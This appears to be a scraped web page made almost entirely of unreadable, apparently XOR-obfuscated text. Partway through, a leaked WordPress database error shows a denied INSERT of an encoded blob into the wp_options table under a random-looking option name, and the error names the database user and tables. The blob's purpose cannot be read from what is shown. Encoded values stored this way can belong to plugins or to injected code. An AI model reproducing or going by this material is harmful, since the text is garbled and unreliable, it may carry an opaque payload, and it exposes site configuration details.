]CMGLY SjDF]AG@P?H?uWW]YL^QYEQ[YOLX^FPPZQA]CMGLY SjDF]\RGWQZ[WSVFOLX^FPPZQA]CMGLY SjDF]WW]YL^QYEQ[Y?VZ[A\[@P?H?uOLX^FPPZQA]CMGLY SjDF]????uWW]YL^QYEQ[Y\BjCDOETLDWOR]CMGLY SjDF]\RGWQZ[WSVF\BjCDOETLDWOR]CMGLY SjDF]\RGWQZ[WSVFBjL@jM[B YFC\MXCEQWXBjL@jM[B?\S\RGWQZ[WSVF  \RGWQZ[WSVFuZEVTV]Pj\[CTY\QTAP]CMGLY SjDF]AG@P????VZ[A\[@P?H?B@[F YOBPGW^@\BjCDOETLDWOR\RGWQZ[WSVF]CMGLY SjDF]OLX^FPPZQAIIOLX^FPPZQA]CMGLY SjDF]QPQEWZTF?\SB@[F YOBPGW^@\RGWQZ[WSVF  OLX^FPPZQA N?PQ\SMW_LZP@\BjCDOETLDWOR\RGWQZ[WSVF]CMGLY SjDF]\RGWQZ[WSVF]CMGLY SjDF]?]MC_DPP\GPDTGGTLuRPAjZEA\Z[OLX^FPPZQATGGTL?B@[F YOBPGW^@\BjCDOETLDWOR PQ\SMW_LZP@]MC_DPP\GPDAG@P?\SB@[F YOBPGW^@OLX^FPPZQAWW]YL^QYEQ[Y\FjX@YA\F\APOLX^FPPZQAWW]YL^QYEQ[YN?G SOGESTGGTLuRPAjF\APjZEA\Z[\BjCDOETLDWORTGGTL????B@[F YOBPGW^@\FFPAG SOGESnPQ\SMW_LZP@h?@[FPAG SOGES??H?@[FPAPQ\SMW_LZP@]MC_DPP\GPD????H?\SB@[F YOBPGW^@VZ[A\[@P?\SCPGF\Z[jVZXETGPPE^FFR@F_WYLnh@RL^QXWAN?\S[C VO@ ZBV]MG]CMGLY SjDF]C_[XDBRDZS G[]CMGLY SjDF]GPA@G[?SAGQPFPY@^OYOLX^FPPZQA]CMGLY SjDF]OLX^FPPZQA\RGWQZ[WSVF]CMGLY SjDF]?\Su\BjCDOETLDWORSAGQPFPY@^OY\[AuOLX^FPPZQASAGQPFPY@^OY	WW]YL^QYEQ[Y  N?TGXQLAAWW]YL^QYEQ[YIFAG\[Ru\RGWQZ[WSVFSAGQPFPY@^OY?\S\RGWQZ[WSVFTGXQLAA	IITGXQLAAnhPE^FFR@F_WYLnhII\[ATGXQLAAnh\[AuOLX^FPPZQA]CMGLY SjDF]N?u\BjCDOETLDWORSAGQPFPY@^OY?VZ[A\[@P?H?\S@FRMD^RTVPRGEL_R\RY]CMGLY SjDF]STYFPN???DDAPGjYE_B@SFOFC\VP]CMGLY SjDF]MMV??\S\LYGF@GDVCLPD[]CMGLY SjDF]N?uOLX^FPPZQASAGQPFPY@^OY??\SWW]YL^QYEQ[Y \BjCDOETLDWORuZEVTV]Pj\[CTY\QTAP]CMGLY SjDF]AG@P?H?H??VZ[A\[@P?H?u\BjCDOETLDWORSAGQPFPY@^OYPE^FFR@F_WYLnhI\[AuOLX^FPPZQA]CMGLY SjDF]?VZ[A\[@P???H?\SPE^FFR@F_WYLnh@RL^QXWAN??OSWZO^MSR\R@VAYMVF]TRMWBOALDA^R^WOGGM_BF@Y[OALDA^R^W ?AD@BPO^_ADSTYFP?\SPXEALOSWZO^MSR\R@VnWW]YL^QYEQ[YhN?]QOGCTOTM XVBu\RGWQZ[WSVFOSWZO^MSR\R@VnWW]YL^QYEQ[Yh????YD\^MVVuWW]YL^QYEQ[Y]CMGLY SjDF]?\S\RGWQZ[WSVF]QOGCTOTM XVB\RGWQZ[WSVFYD\^MVV]QOGCTOTM XVBYD\^MVVV@EVVPVTC[@SMOSWZO^MSR\R@VOLX^FPPZQA [C VO@ ZBV]MG]CMGLY SjDF]GPA@G[??\SWW]YL^QYEQ[Y]QOGCTOTM XVB]QOGCTOTM XVBu\RGWQZ[WSVF@[CO@MT_R]ZRBMAD@BPO^_ADAG@P?H?\SAD@BPO^_AD[C VO@ ZBV]MG]CMGLY SjDF]NOE[Q[WOYAP Y^_\A@OYGLVOE[Q[WOYAP?\SC_[XDBRDZS G[]CMGLY SjDF]II@FRMD^RTVPRGEL_R\RY]CMGLY SjDF]STYFPN?\S]GYC O_WB@j^E]CMGLY SjDF]]CMGLY SjDF]\RGWQZ[WSVFWW]YL^QYEQ[YOLX^FPPZQAuZEVTV]Pj\[CTY\QTAP]CMGLY SjDF]AG@P?H???@[FPAOSWZO^MSR\R@VAD@BPO^_AD]QOGCTOTM XVBYD\^MVV?VZ[A\[@P???H?\SAD@BPO^_ADOLX^FPPZQA\RGWQZ[WSVF\RGWQZ[WSVF]CMGLY SjDF]\RGWQZ[WSVFOLX^FPPZQAWW]YL^QYEQ[YCXEGWO_YW]XZP@		GPA@G[?@[FPAOSWZO^MSR\R@VAD@BPO^_AD]QOGCTOTM XVBYD\^MVV?H?H?H?@[FPA@[CO@MT_R]ZRBM@RL^QXWAAYRGT[QPE^FFR@F_WYLXRTjTTWTETY]QPQEWZTF[XGAMQ_E]CMGLY SjDF]CYR]FFRLC^\_CXEGWO_YW]XZP@]V[^_jS@ O[PZE]  ESAGQPFPY@^OYTGXQLAA??HVTAV]a]GZBTWYPYA[E WAjN?HVTAV]pMVPEA\Z[YA[E WAjN?H?\S\FFPAryzwtyfn\BjCDOETLDWORhN?\SCPGF\Z[jVZXETGPFAG\[RryzwtyfnWW]YL^QYEQ[Y hBRW^TOAOBRZT[TBSAOLX^FPPZQAGPA@G[?ryzwtyfnOLX^FPPZQAh?HPYFP\SQPS\[PQOLX^FPPZQAN?^^EXSDPOVZ[FAT[AOLX^FPPZQAOMWX[MFCT@B_OMQPYGQMGG^OMWX[MFCT@B
OMWX[MFCT@BOMWX[MFCT@B?\S\BjCDOETLDWOR^^EXSDPO\RGWQZ[WSVF \RGWQZ[WSVF ^^EXSDPOCPGF\Z[jVZXETGP^^EXSDPOBRW^TOAOBRZT[TBSA\BjCDOETLDWORGPA@G[?ryzwtyfn\BjCDOETLDWORh?@[FPA^^EXSDPO????H?\[E@ACTY\QTA\Z[??ryzwtyfn\BjCDOETLDWOR hBRW^TOAOBRZT[TBSA???\SWW]YL^QYEQ[YWW]YL^QYEQ[YuVYPTGFATAVTV]PAG@PGFWPOXC?ryzwtyfnWW]YL^QYEQ[YhFAG\[RuWW]YL^QYEQ[YGFWPOXCFAG\[Ru\RGWQZ[WSVFGFWPOXC?\SQPS\[PQ\RGWQZ[WSVFQPS\[POLX^FPPZQABRW^TOAOBRZT[TBSA?\SQPS\[PQWW]YL^QYEQ[YQPS\[POLX^FPPZQABRW^TOAOBRZT[TBSA???[ ECGTBWRLRTYWW]YL^QYEQ[Y?????OOBM@jCC]FQ\EQWSOGFWPOXC?\SOLX^FPPZQAWW]YL^QYEQ[Y\BjCDOETLDWORWW]YL^QYEQ[YN?AGLN?B\SCSRLEZj@jVTZ[PZCCL^FZ]A[???\SuWW]YL^QYEQ[YB\SCSRLEZjN?begpfate|CYZV^PD@\CTYP[VPVYTFF????ZCFMT[^QjGT]\^F] R@M @LM\YDVL???BTQBQOC[D__j@F@][ P]F]TFD^@B\SCSRLEZj????\S\RGWQZ[WSVFBTQBQOC[D__jN?SZGPTV]BTQBQOC[D__jTFZZO [[MN??\SZZO [[MZCFMT[^QjGT]VZ[A\[@P?\SOLX^FPPZQA\RGWQZ[WSVFZZO [[MVZ[FAT[AOLX^FPPZQA\RGWQZ[WSVF VZ[A\[@P???CG]BTWRVFB\SCSRLEZjZZO [[M?\SuWW]YL^QYEQ[YCG]BTWRVFu\BjCDOETLDWORCG]BTWRVFMP\jVPBYBFQ^SCCG]BTWRVFMMTN?QOj\Z LYMSFRT\CG]BTWRVF?H??H?H?H?HVTAV]a]GZBTWYPYA[E WAjN?e}e`[\AEGZ_PVA\CPTQ_FPFF\Z[ALEP??Z^MWjQGV^@FQTLY@\RGWQZ[WSVFYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?\[FAG@VA\Z[EZ\[APG????H?H?uFE\YYZGW\A???\STTL@CGjOTW[OPXN?RL^YFCQO@C^WOLX^FPPZQA\RGWQZ[WSVF ???H??ryzwtyfnOLX^FPPZQAhTGGTL?ryzwtyfnOLX^FPPZQAhTGGTL???ryzwtyfn\BjCDOETLDWORh?\S\BjCDOETLDWORWW]YL^QYEQ[YN?\RGWQZ[WSVF\BjCDOETLDWORRGXMR^]TPOP L\@MSO[RGXMR^]TPOP????WW]YL^QYEQ[Y\RGWQZ[WSVF??H?MDWSV_R [TDWW]YL^QYEQ[YGFWPOXCWW]YL^QYEQ[Y\RGWQZ[WSVF GFWPOXC\BjCDOETLDWOR^^jQZRe}ejxtzgjcpgf|z{G [VQEDXD^^jQZR ??\Su\RGWQZ[WSVFMDWSV_R [TDN??ZR]YD ]] GWO\BjCDOETLDWOR FAG\[RuOLX^FPPZQA MDWSV_R [TD?j[BBL[TF]]VCRTQDW[[VTZ@L?\SZR]YD ]] GWOIIZR]YD ]] GWOj[BBL[TF]]V\LYGF@GDVCLPD[MDWSV_R [TD?@[FPAZR]YD ]] GWOj[BBL[TF]]V?H?AGLN??uWW]YL^QYEQ[YWW]YL^QYEQ[Y GFWPOXCWW]YL^QYEQ[Y \BjCDOETLDWOR GFWPOXC\BjCDOETLDWOR  ?TDjMGBQSLM\RGWQZ[WSVF CRTQDW[[VTZ@L?SZGPTV]TGGTLWW]YL^QYEQ[Y GFWPOXC@jVTZ[PZCCL^FZ]A[TFZBjWSX@LDAN?\Su\BjCDOETLDWORZBjWSX@LDATDjMGBQSLMuWW]YL^QYEQ[Y ZBjWSX@LDATDjMGBQSLM????H?@[FPATDjMGBQSLMZBjWSX@LDA?HVTAV]a]GZBTWYPYA[E WAjN??HVTAV]pMVPEA\Z[YA[E WAjN?H????@[FPAMDWSV_R [TD????RL^YFCQO@C^W\RGWQZ[WSVFOLX^FPPZQA ?RL^YFCQO@C^W\BjCDOETLDWORWW]YL^QYEQ[Y ?RL^YFCQO@C^W\RGWQZ[WSVFOLX^FPPZQA ?RL^YFCQO@C^W\BjCDOETLDWOR\RGWQZ[WSVF ?RL^YFCQO@C^W\BjCDOETLDWOROLX^FPPZQA?RL^YFCQO@C^W\BjCDOETLDWOR\RGWQZ[WSVF k?RL^YFCQO@C^W\RGWQZ[WSVF\RGWQZ[WSVF?RL^YFCQO@C^WWW]YL^QYEQ[Y\BjCDOETLDWOR ????^QPGjR BPQ RWW]YL^QYEQ[Y\RGWQZ[WSVFk?^QPGjR BPQ RWW]YL^QYEQ[YWW]YL^QYEQ[Yk??^QPGjR BPQ R\RGWQZ[WSVFOLX^FPPZQA?^QPGjR BPQ R\RGWQZ[WSVF\BjCDOETLDWOR??^QPGjR BPQ R\RGWQZ[WSVFOLX^FPPZQAk???RL^YFCQO@C^W\RGWQZ[WSVF\BjCDOETLDWOR  ??^QPGjR BPQ RWW]YL^QYEQ[YOLX^FPPZQA?^QPGjR BPQ R\RGWQZ[WSVFOLX^FPPZQAM M ?^QPGjR BPQ R\BjCDOETLDWOROLX^FPPZQA??^QPGjR BPQ R\BjCDOETLDWOR\RGWQZ[WSVFMM??^QPGjR BPQ R\RGWQZ[WSVF\RGWQZ[WSVF   ?RL^YFCQO@C^WOLX^FPPZQAOLX^FPPZQA?^QPGjR BPQ RWW]YL^QYEQ[Y\RGWQZ[WSVF??^QPGjR BPQ R\RGWQZ[WSVFWW]YL^QYEQ[Y??RL^YFCQO@C^WWW]YL^QYEQ[Y\BjCDOETLDWOR?RL^YFCQO@C^WOLX^FPPZQAWW]YL^QYEQ[Y ?RL^YFCQO@C^WOLX^FPPZQA \RGWQZ[WSVF ??RL^YFCQO@C^WWW]YL^QYEQ[YOLX^FPPZQA ?RL^YFCQO@C^W\RGWQZ[WSVFWW]YL^QYEQ[Y ????RL^YFCQO@C^WWW]YL^QYEQ[Y \BjCDOETLDWOR  ?RL^YFCQO@C^WWW]YL^QYEQ[Y OLX^FPPZQA  ??RL^YFCQO@C^W\RGWQZ[WSVFWW]YL^QYEQ[Y  ?RL^YFCQO@C^W\RGWQZ[WSVF\BjCDOETLDWOR ??RL^YFCQO@C^W\RGWQZ[WSVF\RGWQZ[WSVF ?RL^YFCQO@C^W\BjCDOETLDWORWW]YL^QYEQ[Y ??RL^YFCQO@C^W\RGWQZ[WSVFWW]YL^QYEQ[Y ?RL^YFCQO@C^WWW]YL^QYEQ[YWW]YL^QYEQ[Y ????RL^YFCQO@C^WWW]YL^QYEQ[YWW]YL^QYEQ[Y MM?RL^YFCQO@C^W\BjCDOETLDWOROLX^FPPZQA MM???RL^YFCQO@C^WOLX^FPPZQA \BjCDOETLDWOR ?RL^YFCQO@C^W\RGWQZ[WSVF WW]YL^QYEQ[Y  ?RL^YFCQO@C^WWW]YL^QYEQ[Y OLX^FPPZQA k?RL^YFCQO@C^W\RGWQZ[WSVF OLX^FPPZQA  ?RL^YFCQO@C^W\BjCDOETLDWOR OLX^FPPZQA ^\_^ PFI WCRL] M^A^\_^ PFk?\S\BjCDOETLDWOR\RGWQZ[WSVFNCEM\]BR\I [EF CEM\]BR\k?WW]YL^QYEQ[YS@[VA\Z[N???\SPXEALryzwtyfn\BjCDOETLDWORhGPA@G[?\SQPS\[PQOLX^FPPZQAII\RGWQZ[WSVF\RGWQZ[WSVF GPA@G[????\S\RGWQZ[WSVF OLX^FPPZQA N?AGLN?Y^SCWV\RDVV VF?HVTAV]a]GZBTWYPYA[E WAjN?HVTAV]pMVPEA\Z[YA[E WAjN?H?H?H?H?RL^YFCQO@C^WWW]YL^QYEQ[Y \RGWQZ[WSVF  ????RL^YFCQO@C^W\BjCDOETLDWOR\BjCDOETLDWOR?RL^YFCQO@C^W\BjCDOETLDWOR\BjCDOETLDWOR ?RL^YFCQO@C^WWW]YL^QYEQ[Y\BjCDOETLDWOR ?RL^YFCQO@C^WWW]YL^QYEQ[Y S@[VA\Z[N?\SWW]YL^QYEQ[Y \RGWQZ[WSVF IIOLX^FPPZQA \BjCDOETLDWOR  GPA@G[????XS_RAWj\_VCYW]\[AuRPAjZEA\Z[WW]YL^QYEQ[Y ?\SOLX^FPPZQAXS_RAWj\_VCYW] N???u@EQTAPjZEA\Z[\RGWQZ[WSVF \BjCDOETLDWOR ?CQLYAP@RG?H?H ?????RL^YFCQO@C^WWW]YL^QYEQ[Y\RGWQZ[WSVF ????^QPGjR BPQ RWW]YL^QYEQ[Y OLX^FPPZQA ?\SOLX^FPPZQA \BjCDOETLDWOR Q\QjTVA\Z[OLX^FPPZQA N?\O_\]GYAYCQ?H?????H?TQQjTVA\Z[TQX\[jXP[@S@[VA\Z[N?TQQjZEA\Z[FjETRPfPAA\[RFfPAA\[RFXT[TRPjZEA\Z[FGPAGZAZZY^\AS\MFPAA\[RFS@[VA\Z[N?PV]Z	Q\CVYTFFBGTE	]fPAA\[RF	]	SZGXXPA]ZQEZFATVA\Z[ZEA\Z[FE]E?FPAA\[RFjS\PYQFGPAGZAZZY^\AS\MjRGZ@E?QZjFPAA\[RFjFPVA\Z[FGPAGZAZZY^\AS\MFPAA\[RF?F@WX\AjW@AAZ[?PV]Z	SZGX	Q\C?H?H?TQQjTVA\Z[TQX\[j\[\AS@[VA\Z[N?GPR\FAPGjFPAA\[RGPAGZAZZY^\AS\MjRGZ@EGPAGZAZZY^\AS\MjZEA\Z[F?TQQjFPAA\[RFjFPVA\Z[GPAGZAZZY^\AS\MjXT\[vZ[S\R@GTA\Z[S@[VA\Z[NPV]Z	EvZ[S\R@GPZEA\Z[FWPYZB	EHGPAGZAZZY^\AS\MFPAA\[RF?TQQjFPAA\[RFjS\PYQGPAGZAZZY^\AS\MjVTV]PvTV]PxZQPS@[VA\Z[N?ZRPAjZEA\Z[GPAGZAZZY^\AS\MjZEA\Z[FTGGTLC\FFPAZnVTV]Ph
ZnVTV]PhP[TWYPQ?PV]Z	FPYPVA[TXPPFVjTAAGGPAGZAZZY^\AS\MjZEA\Z[FnVTV]Ph	ZEA\Z[CTY@PP[TWYPQFPYPVAPQCP[TWYPQSTYFPp[TWYPQ	ZEA\Z[	ZEA\Z[CTY@PQ\FTWYPQFPYPVAPQCQ\FTWYPQSTYFPq\FTWYPQ	ZEA\Z[	FPYPVA?HGPAGZAZZY^\AS\MFPAA\[RFGPAGZAZZY^\AS\MjXT\[?H?\SS@[VA\Z[jPM\FAFTQQjF]ZGAVZQPTQQjF]ZGAVZQPGPAGZjAZZY^\AjS\MjFATAFS@[VA\Z[N?ZRPAjZEA\Z[GPAGZAZZY^\AS\MjZEA\Z[FTGGTL?GPA@G[	FATAF\FFPAZnVTV]Ph
ZnVTV]Ph[Z[P?H?\SS@[VA\Z[jPM\FAFBEj[ZGXTY\OPjETA]S@[VA\Z[jPM\FAFGPR\FAPGjTVA\CTA\Z[j]ZZ^GPR\FAPGjTVA\CTA\Z[j]ZZ^jjs|ypjjS@[VA\Z[N?\SRPAjZEA\Z[GPAGZAZZY^\AS\MjZEA\Z[FTQQjZEA\Z[GPAGZAZZY^\AS\MjZEA\Z[FTGGTLVTV]PP[TWYPQCPGF\Z[?H?', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('9a645255d3d7', ',_\D\&&&|@YKEBbMAI~IX^CxCC@GEXjET&|@YKEBy~eDXX\_KEXDYNOCA_C\DEMAEXODI@@^IX^CXCC@GEXJET&hI_O^E\XECBoCA\MOXOCBXIBXHI@EZI^UXCC@&zI^_ECB&mYXDC^C\DEMaEXODI@@&`EOIB_Ik|`C^@MXI^&xITXhCAMEB^IX^CXCC@GEXJET&~I]YE^I_MX@IM_X&~I]YE^I_|d|&&oz&EJJYBOXECBsITE_X_NND@UGH@\HB@

HIJEBIHosoc~isnccxszi~

ZI^_ECBsOCA\M^I_X^EBKosoc~isnccxszi~  PPE__IXk`cnm`w_OsNCCXsZI^q

ZI^_ECBsOCA\M^I_X^EBKk`cnm`w_OsNCCXsZI^q  WJYBOXECBG]Y@FEUV@EXEW_XMXEOMBY@@EJMBY@@WMM^^MUsAI^KIM^^MUNVLC ipp[ppv cW I|i^| b^jDv^ppFDiji gD^ppI|i^| LppL
M@ppzM	 ij[vi j[D iIij[ ij[^ D[^| I|i^| [j[D LpppL
M@ppzM	 BsgD^i D[ b^jDv^ppFDiji \v ^D^ b^jDv^ppFDiji jv\ b^jDv^ppFDiji [^| v b^jDv^ppFDiji j^| iippgjppjppD[ iippgjppjppD[ Bj DippD[ Dipp[Dj|I Lpp @P@ppzM	 sv^j^j B Bippj j^ pLzM	 ippjppbDF b^jDv^ppFDiji [||j\ [||j\ Lpp @P@ppzM	 Bipp E D[ Bv[pp v[ \ Dippij[D^g M^^MUDippD[ DippbD bDppgjppv^j^ji b^jDv^ppFDiji WrGFeXiejOb| BgD^iB [||j\ E bDppgjppv^j^ji E gjppvjDv^ b^jDv^ppFDiji |jppvjDv^ |jDppgD^i Dipp|[[| D^pp|[[| |[[|pp|i bDppgjppv^j^ji Dippij[D^g [gpp|j\ BB~wV `TlHHHtw~BB bDjD bDiDk ipp[v^ppbj\ ipp|v|ppj ||\ppgjpp[iDv^ VP	`P	ppVn	P ij[jvv[ VP	`P	ppVn	P ||\ ij[vi Dji v^Dji \ppi|Dpp^| D 	PPVpppPCz VP	`P	ppVn	P Dji D^Dppgj D^Dppgj v^ppI|iD[ [||j\ Fv ij[vi zNpp@pP E ippvpp^ ippvpp^ DippvIj j\vppFDiji M^^MUgjpp|[ VP
P wPpp
 ul{ {dwXt bv bv^ Lpp @P@ppzM	 B DippD[ Bipp v ippvppb\ Dipp|[[| ippvpp^ ippvpp^ ippvppb\ ippvppb\ ippvppb\ ippvppb\ G[ VP
P w	P
PVPpp
 ul{ {t zMV

ppnM
PpppzV \[v|I Tw iIij[ Tw Dippij[D^g iIij[ Tw ipp[[v[i ipp[[v[i v^j ipp[[v[i ipp[[v[i |[[|ppiD ipp[[v[i |pp|jDv^ Dippij[D^g |ppbDj[ b^jDv^ppFDiji Lpp @P@ppzM	 Bipp B|\ BD^F\ DippD[ Dipp[Dj|I DippD[ Dipp[Dj|I D[^| ipp[g M^^MUDipp|[[| ipp[g ipp[g [||j\ ipp[g ipp[g ipp[g [||j\ b^jDv^ppFDiji [gDij[ppi\jv^ppb^jDv^ |vxxppEpp\x ipp[g Dipp|[[| ipp[g \v v|\ppD^|D|j b^jDv^ppFDiji [[v[ppgjpp|ij Dipp|[[| bD j ii|g ii|g vwv[wiDk p|FDwFjDv^wjD [||j\ [||j\ [||j\ Dippij[D^g ippIvvjpp[ ippIvvjppij |[ij|j|\ bDiDk \ BGpp BIpp jD b^jDv^ppFDiji |jppvjDv^ ipp|jppI| jD ^v D[^| b^jDv^ppFDiji |jDppgD^i D^pp|[[| |[[|ppDbb b|D vbb [^| M^^MUv|\ppD^|D|j \vbb bDjD jD D[^| DippD[ Bipp I|i^| bDppgjppv^j^ji Dippij[D^g BHHHB _ bDppjppv^j^ji b^jDv^ppFDiji ipp^D^gppD^|D|j gD^ippv| [erFFiGppkIcXO IeGexxk^mGg| E XXX Fv i |j\D^bv bDiDk [gpp|j\ BB~wV `TlHHHtw~BB |jDppgD^i DippjDiDj b^jDv^ppFDiji gjppiDjppvjDv^ |jDppiDjDppgD^i bDppgjppv^j^ji Dippij[D^g BB~wV `THHHw~BB |j\ [||j\ | gv^ ippppjvv gD^ippv| ^vppmrigpp\\cvvgc ij|[jD^g  v^D[ [|D[ v^D[  b^jDv^ppFDiji viD[ b^jDv^ppFDiji M^^MUi|^D[ |[[|pp|i b^jDv^ppFDiji gvI gvI B~ |[[|pp| I|i^| Dippij[D^g Qy jv^ppgjpp| uP@ppL	VP Dipp|[[| XFOrEWx xEemeerX ImOxnexIbOXxPXmc XFecOxPEcnWEOeczxrxxrxemPz|IIOI XFmWEcEPnrXxOmrX|eOXNmOcrrOcEzEX|INN \jjiTBBXF[DvBj\ \jjiTBBj\[sID^vDi| \jjiTBBj\[v[g \jjiTBB[j\g|j|b \jjiTBBj\Iv[|kv[Fk \jjiTBBIDsj\^v^viDv \jjiTBBj\s|D^^j[b|ijvy|DppFI\NMxgeV@pxI
[L
qgA VmgWCrnDgJVL`J	F[iPMb \jjiTBBj\x||ID \jjiTBBj\[IF[I^v \jjiTBBj\s|D^^jIDI|ij|DDv \jjiTBBg|j|j^[vBIDB|D^^j \jjiTBBj\[[iIG[^jv[BID \jjiTBBj\[s[ID^vv \jjiTBB|D^^jg|j|j^[v \jjiTBBj\|Dv^bD^|DjDvBID \jjiTBBj\[IDIvD^jv[BxB[BID \jjiTBBj\[siv^s[ij|Dv \jjiTBB[i^jDvFkB|D^^j \jjiTBBj\[Dv \jjiTBBj\|Dvj^jv[ |D^pp |pp |D^Dij[|jv[pp I|pp b^jDv^ppFDiji gk^v b^jDv^ppFDiji gkb|j | [cW Dippij[D^g ij[^ ^| gkv M^^MUb^jDv^ppFDiji gkD^b|j ij[^ ij[^ b^jDv^ppFDiji \FWID^ Dippij[D^g ij[^ C~ s|D^B sD^iB gvI ~\ |[[|pp[|^ jD pp[|^ [|^ ij[^ |ppi[ppb^ pp[vjppgj pp[vjppgj jDvj ii[Db DDjpp[iv^ippiDk Dipppp[[v[ [ppD^Dj [ppijvjpp|[[| [ppF  	
Lpp	P	@	@VnP	  	
LppMpP  	
LppVV
pp`P	MnALPP	  	
LppVV
pp`P	MnACV  	
Lpp@L		PVV  	
LppL		PVVn@ M@ \jjppv |ppi[ppb^ pp[vjppvij jDvj ii[Db DDjpp[iv^ippiDk \|[i Iv Dipppp[[v[ Dipp|[[| Tw }w b^jDv^ppFDiji  	
LppLV  	
LppLVnMP
zV  	
LppMpP M^^MU 	
LppCLCPzP	 gjppvjDv^ ipp|ijpp[ |[[|pp^i\Dbj j[D |[[|pp[|^ fhiv^[hThWXhdhDhTcdhj\vhThj\pp|hdh|[|ihTfh|j|hThXFcIEcXhdhjvhTh hdh|jijhK  v^j^js |D|jDv^Biv^ D[vjD j[D iv^ppv [ij [ij [ij ij[vi XF v[ iIij[ iIij[ Dippij[D^g Dippij[D^g ij[^ [iv [pp[jppb|D [iv [ppI|pppp^gj\ iIij[ |[[|ppbDj[ j[D [gppiDj B[y^B ippWpp|\ Dv i[[pp [i [iv i[pp Dippij[D^g |[[|pp|i j[D [i [pp|ppb|D b^jDv^ppFDiji |jppvjDv^ i[D|Dk \[ jpp[|^ I|impp^v M^^MUgjppvjDv^ Dippij[D^g I|imppv ij[^ \[ v[ LCLpp`P	VM@ppMz ^i[D|Dk |vpp|iii ij[pp[|  i ipp[ ipp|\ Dippi||[ ipp[[v[i [[v[i |[[|pp[g |[[|pp^DG [[v[i |[[|pp^DG |[[|pp[g [[v[i bi\pp[[v[i ij[^ ij[^ v[ ipp|v|pp[iDij^j [v^M^j[| [v^M^j[| ippD^j[| D^j[| Di|  ijvw|D^j^|^wD^j[| ippg|[ppD^j[| Di| pp^Fjppi\ ppi\pp^j ipp\|D^ jD jpp[|^ zM@pp 	@ i\jv^ irmGIbDgF\ b^jDv^ppFDiji pp[vjppgj iDjpp[ s[v^\yvD^gpppp[v^ IvD^g b|ijgDppbD^Di\pp[Gij M^^MUb^jDv^ppFDiji DjippbD^Di\pp[Gij Dg^v[ppi[pp|Iv[j Dg^v[ppi[pp|Iv[j D^Dppgj kDIvjjppv[iiDv^ vIppgjpp vIppgjpp^gj\  v^j^js
^gj\Tw  v^^jDv^Twvi vIpp^ppbi\ bi\ ppi\ppiD^gpp^j zMVN
PppLpp 	@ gjppvjDv^ ipp|ijppbj\ppji gjppvjDv^ ippi^pp[ ippi^pp[ b^jDv^ppFDiji pp^i\pp^j bj\ [v^ppij|ppD^D^ ijppjDppDDj gjppj[|^iD^j Dipp|[[| ipp|v|pp[iDij^j gD^	i Dipp|[[| ippgD^pp[i D^j	i Dipp|[[| ippD^jpp[i i ippi i |g Dippij[D^g ipp|g |g i i ippi |\ b^jDv^ppFDiji ipp|ijpp\|ppji b^jDv^ppFDiji ipp\|ppi|^ i[ ij[^ M^^MUDippij[D^g ij[^ Dippij[D^g ipp|ijpp\|ppji ^v iIij[ \ LppL
M@ppzM	 gvI B~B~\ |[[|pp^DG [gpp[| BiHB bDppgjppv^j^ji Dippij[D^g BiHB ijppj[|^iD^j ipp\|ppi|^ jD \| b^jDv^ppFDiji Dpp|jDv^ [gDij[ppi\jv^ppb^jDv^ b^jDv^ppFDiji \vpp[ gjppvjDv^ jD ipp|ijpp\I ^v b^jDv^ppFDiji |v|j |v|j jD ipp|ijppbj\ppb|Dppji ippbj\ppb|Di |F D^ [ \ i|D ii b^jDv^ppFDiji Dippii i  pp[iDv^ i[ iIij[ ippi Dippij[D^g M^^MUippi ippv^ ipp^ ij[^ ipp[G ippipp[D^j ippvI ippippvIppi ippji b^jDv^ppFDiji ippipp[D^jppji ipp[ ipp\Dji ippipppp\Dji ipp|ij ippipppp|ij ipp\| b^jDv^ppFDiji ippipp\| pp| DippbD B||^s|\\ bDppgjppv^j^ji ppI DippbD BI\ bDppgjppv^j^ji ppv BvIjs|\\ gpp gpp ppg|[ sD^i jD ppg|[ b^jDv^ppFDiji i[ppD^DbD^| Dippij[D^g l^v^t i[D^D ppD^D |jvpp[^ppbD pp\j DippbD \j|ii |jvpp[^ppbD pp DippbD sv^bDg\ bDppgjppv^j^ji M^^MUsv^bDg\ V pp  [^ V ppppL	PLP@z  Lpp	 uPpp`P	VM@ 
V Lpp` c  igpp|\[iipp[gpp|\ |iippFDiji  |\ppP^|I[ ppb|ijijpp|\ b^jDv^ppFDiji pp|\ppi[pp|\ppbD bppv bppb|Di ippbj\ppb|Di bppb|Dppji ipp|ijppbj\ppb|Dppji D b ji jD Dpp^ DppWb| ippIppv I Dippij[D^g ipp|^|[  Dji [[ iIij[ iIij[ iDjpp[ svgD^\ ppvgD^pp[ \vpp[ |[ipp[ LCLpp	
ppCV gjppiDjpp[ gjppIvgD^bv [ b^jDv^ppFDiji gjppvjDv^ iDj[ CLppCV VP	`P	pp@pP b^jDv^ppFDiji D^Dppgj M^^MU|FppFjDv^ppjD ijppjDppDDj D[vjD Dippij[D^g i[[pp i[[pp ^v ipp|ijppW i\bb |[[|pp^i\Dbj v^j gjppvjDv^ B~\ Dipp|[[| v|D^ gD^`[iDv^ gD^ [vvj [j[D |jD|jLgD^i LgD^i vgD^[ |D^i |D^i vvDi ppiv^pp^v iv^pp^v  v^j^js |D|jDv^Bvjjsij[| Dipp|[[| Wppjw Wpp[jppb|Dw j[D WppI|ppiv^w bj\pp[ I|v^ HB spp ij[ppiDj D[vjD v^j D[vjD ippI UD U^ U Dipp|[[| b^jDv^ppFDiji ipp|ijppW b^jDv^ppFDiji jppvjDv^ M^^MUipp[[v[i ipp[[v[i |[[|pp|i gD^ Dippij[D^g gD^ j|[gj`[iDv^ bv[|j D^j	i Dipp|[[| D^j	i Dippij[D^g ipp|\ ippi i E ipp|\ ^v |g |gpp|\ i i ippi i i j|ji Dipp|[[| j|ji g|[ ||^ |\ |ppj I Ippj j\ j\ppj \j|ii \jppj i[M^D ^Dppj D^ij|[ D^ijppj v
